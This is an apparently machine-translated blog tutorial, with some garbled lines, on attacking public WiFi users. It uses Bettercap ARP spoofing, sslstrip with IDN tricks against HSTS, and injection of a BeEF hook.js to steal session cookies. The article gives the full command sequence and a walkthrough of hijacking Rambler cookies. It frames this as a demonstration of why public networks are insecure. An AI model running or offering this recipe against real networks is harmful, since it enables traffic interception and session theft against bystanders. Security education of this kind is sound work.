This article is about how to become a cooler (or Script Kiddie in English) - a conditional attacker who lacks programming knowledge and uses existing software to launch an attack on his classmates' smartphones and tablets.
Just kidding. In fact, I was faced with the task of understanding two things:
- WiFi 2020 , HTTPS ( TLS 1.1+) HSTS
- ( ) “” .
And in the spoiler there is a spoiler:
- Yes, Dangerous!
- It may well
I must say right away that although some of my experiments took place on real public networks, I only got “illegal access” to the browsers of my own devices. Therefore, in fact, I did not violate Chapter 28 of the Criminal Code of the Russian Federation , and I strongly advise you not to violate it. This experiment and article are offered for review solely for the purpose of demonstrating the insecurity of using public wireless networks.
So, what is the actual problem for a hacker if it is easy to intercept traffic in open wireless networks by any sniffer? The problem is that in 2020, almost all (99%) sites use HTTPS and encrypt all data exchange between the server and the browser of a potential "victim" with an individual key using a fairly recent TLS protocol... TLS makes it possible for client-server applications to communicate on the network in such a way that they cannot listen to packets and make unauthorized access. More precisely, you can listen, but there is no sense in this, since encrypted traffic without a key is useless to decrypt it.
Moreover, all modern browsers implement the HSTS (HTTP Strict Transport Security) mechanism , which forces a secure connection via the HTTPS protocol and terminates a simple HTTP connection. This security policy allows you to immediately establish a secure connection instead of using the HTTP protocol. The engine uses a special headerStrict-Transport-Security to force the browser to use HTTPS even when following links that explicitly indicate HTTP (http: //). The original HSTS version does not protect the user's first connection to the site, which leaves a loophole for hackers, and an attacker can easily intercept the first connection if it is over http. Therefore, to combat this problem, most modern browsers use an additional static list of sites (HSTS preload list) that require the use of the https protocol.
To somehow intercept the entered passwords or steal the victim's cookies, you need to somehow get into the victim's browser or ensure that the TLS encryption protocol is not used. We'll do both things at once. To do this, we will use the man-in-the-middle attack method.”(MitM). I will make a reservation that our attack will be rather low-grade, because we will use ready-made "semi-finished constructors" from the Hackney Sam magazine practically without any modification. Real hackers are better armed, and we are only playing the role of low-skilled kulkhatskers to illustrate the degree of insecurity of modern public wireless networks.
Iron
As a toolkit for the experiment, I used the following toolkit:
- Any public WiFi network at the food court
- Netbook Acer Aspire one D270
- Built-in wifi card Atheros AR5B125
- External wifi usb WiFi adapter TP-LINK Archer T4U v3
- External wifi usb adapter TP-LINK Archer T9UH v2
- Kali Linux with kernel version 5.8.0-kali2-amd64
- Bettercap v2.28 framework
- Framework BeEF 0.5
- Several Android 9 smartphones and tablets and a Windows 7 laptop as victim devices.
Why are there so many wifi cards? Yes, because in the process of experiments I stepped on a bunch of rakes and tried to save money. It turned out that a good WiFi card is the main tool of a successful attacker. There are a number of problems: the card must support monitoring and access points (AP), it must have drivers for your version of the Linux kernel, the card must have a good antenna and the ability to control signal strength. If you do not want an extra rake, take an expensive adapter from the very top of this list and do not forget to check the presence of a driver specifically for your hardware revision of the card.
The built-in Atheros AR9485 card had excellent support for all modes and an out-of-the-box driver in Kali, but the inability to control signal strength and a weak antenna negated the effectiveness of this card during the active interference phase.
WiFi TP-LINK Archer T4U v3 did not have a driver out of the box, and the one I found on Github did not have access point (AP) mode support and had to be compiled on its own.
The TP-LINK Archer T9UH v2 card worked perfectly with the driver out of the box, on it I did it.
Software
The first thing I did was install Kali Linux 5.8.0 on my laptop. The only SSD in the laptop was empty and intended entirely for experiment, which saved me some of the hassle of partitioning and backing up old data from it, so I used all the default options during installation. I still faced some trivial problems like losing the mount of the USB flash drive with the distribution kit during the installation and updating the system to the latest current version from the repository.
Then it was necessary to launch the penetration tools, which will be Bettercap and BeEF. With their help, we will force the browsers of the “victims” to refuse to encrypt traffic and inject Trojan JavaScript into the sites they visit.
BettercapIs a complete, modular, portable and easily extensible tool and framework with all kinds of diagnostic and offensive functions that you might need to perform a man-in-the-middle attack. Bettercap is written in Go, the main development of the project took place until 2019, now there are only minor fixes. However, as we will see later, this tool in the rapidly changing world of information security remains relevant at the end of 2020. Bettercap comes with built-in arp spoof and sslstrip modules. It is Bettercap that intercepts traffic and injects a malicious load into it.
SSlstrip is a specialized proxy server that allows you to organize one of the ways to bypass HTTPSto intercept traffic it is to split the user session into two sections. The first section from the client to the proxy server will go over the HTTP protocol , and the second section, from the proxy to the server, will pass, as it should, over an encrypted connection. SSLstrip allows you to split the victim's session into two parts and intercept traffic for further analysis, as well as provide automatic redirects to dynamically created HTTP page twins.
arp spoofintercepts packets on a local wired or wireless switched network. arpspoof redirects packets from a target host (or all hosts) on a network destined for another host on that network by spoofing ARP responses. This is a very effective way to sniff traffic on a switch or wifi router.
BeEF is a framework that allows you to centrally manage a pool of clients infected through an XSS attack (cross-site scripting), issue commands to them and get a result. The “attacker” injects the script hook.js into the vulnerable site. The hook.js script from the victim's browser signals the control center on the attacker's computer (BeEF) that the new client is online. An “attacker” enters the BeEF control panel and remotely controls infected browsers.
I used versions Bettercap v2.28 and BeEF 0.5 They are both already included in Kali Linux 5.8.0
Open a command prompt window and enter the command
sudo beef-xss
The first part of our malicious sandwich - the BeEF framework - kicks off.
Now let's launch the browser (usually Firefox in Kali Linux), go to the address http://127.0.0.1:3000/ui/pannel , the default login and password beef: beef, after which we get to the control point of our attack.
Leave the BeEF tab open, we'll come back to it later.
Let's move on to the second part of the sandwich - Bettercap. There was a pitfall here - Bettercap, which was already in the system, refused to start as a service and gave other errors that I did not understand. Therefore, I decided to remove it and reinstall it manually. Open a command prompt window and execute the commands:
sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap
Then we download the binary version of Bettercap v2.28 in the archive into the download folder with the browser . Please note that I chose the version for my kernel architecture.
Now we unpack and place the executable file in the Bettercap system into a folder intended for manual installation.
d
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/
The easiest way to get started with Bettercap is to use its official web user interface . The web interface works simultaneously with the rest API service and an interactive command line session. To install the web interface, you need to run the command:
sudo bettercap -eval "caplets.update; ui.update; q"
Attention! Already at this stage, it is necessary to connect to the attacked wireless network, obtain an ip-address for the wireless interface of the attacking machine and remember it (the command
ifconfig
will help to find it out).
Bettercap understands both individual command line commands and caplets. A caplet is simply a text file with a list of commands that will be executed sequentially. The http-ui caplet is used to launch the web interface. You can view and change the default credentials in it along the path /usr/local/share/bettercap/caplets/http-ui.cap. Launching Bettercap with the web interface modules api.rest and http.server 127.0.0.1 is performed by the command
sudo bettercap -caplet http-ui
Now you can open another tab in the browser with the address 127.0.0.1 (without the port number!) And log in using the credentials that were spied on or configured in the previous step (usually user / pass ).
The Bettercap web interface completely duplicates the command line, so all the actions that we will do from the command line can also be done from the web interface (launching modules, changing modes, viewing changing the value of variables, displaying diagnostic information)
Continue on the command line and conduct the initial reconnaissance of the wireless network to which we are already connected as a regular client.
net.recon on
net.probe on
Net.show
net.recon off
net.recon on - Starts discovering network hosts.
net.probe on - Starts an active probe for new hosts on the network by sending bogus packets to every possible IP in the subnet.
net.show - Gives the command to display a list of the cache of detected hosts.
net.probe off - Turns off the active probing module.
We configure the Bettercap variables so that it:
- worked as a transparent proxy and “disabled” the encryption of the browser exchange of “victims” by the sslstrip module,
- injected them with a malicious load (http://192.168.0.103/hook.js - BeEF script, use the IP issued by the router to your adapter in the attacked network),
- bypassed the HTST mechanism by replacing the address in the address bar of the victim's browser with similar internationalized characters.
Commands:
set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true
Then we launch an attack against wireless users:
Commands
arp.spoof on
http.proxy on
arp.spoof on - Starts ARP cache poisoning of “victims” devices, this module will redirect traffic to the wireless interface of the “attacker”
http.proxy on - Starts a transparent proxy, this module creates a proxy server that will catch all forwarded traffic and modify it to suit "Intruder".
“Victims” start using the Internet, go to websites, and if successful, the attacks will be deprived of transport encryption (which means they will be available for direct listening by any sniffer) and will receive a malicious BeEF script. The BeEF script, executed in the context of the domain in whose page it was embedded, can perform many different actions, for example, steal cookies or steal entered passwords.
As befits a hastily made sandwich, the attack will not work on all sites. For example, it is extremely unlikely to launch an attack with one of the Google sites, since the browser already has an HSTS preload list for some sites. But it turned out to be quite possible to “hijack” Rambler or Coub.com! If we ask the “victim” (social engineering, where can we go without it) to open the Ro.ru address , or suddenly she does it herself, then this is what happens:
All victim's traffic to the rambler.ru website flies through the air in clear text and can be listened to by any sniffer. While in the browser "victim" there will be almost no signs of trouble, except for an inconspicuous triangle and another strange character at the end of the address bar.
And on the machine of the "attacker" in the control panel of the BeEF framework, in the Online Browsers section, meanwhile, an entry will appear about a new browser caught on the hook. Select this browser with the mouse, go to the Commands sub-tab, to the Browsers directory, then successively Hooked domain → Get Cookie → Execute
Once, and with a couple of clicks of the mouse, we stole the session cookies of the Rambler.ru website from the victim. Now we can try to insert them into our browser and get into the victim's session. And that's just tops! But in the arsenal of BeEF there are still several hundred different “commands” that we can send to the “caught” browser: various phishing options, stealing passwords, ricrolls, redirects, exploits ...
conclusions
The conclusions of the experiment are disappointing. Browsers still cannot 100% protect users from tampering with traffic or replacing this site with phishing. The HSTS mechanism works only for a couple of thousand of the most popular sites and leaves millions of others without reliable protection. Browsers are insufficiently explicit to warn that the connection to the server is not encrypted. The situation is even worse in wireless networks, where anyone who wants to have access to the data transmission medium, while almost none of the users at all verifies the authenticity of the access point itself, and reliable methods of authentication of access points simply do not exist.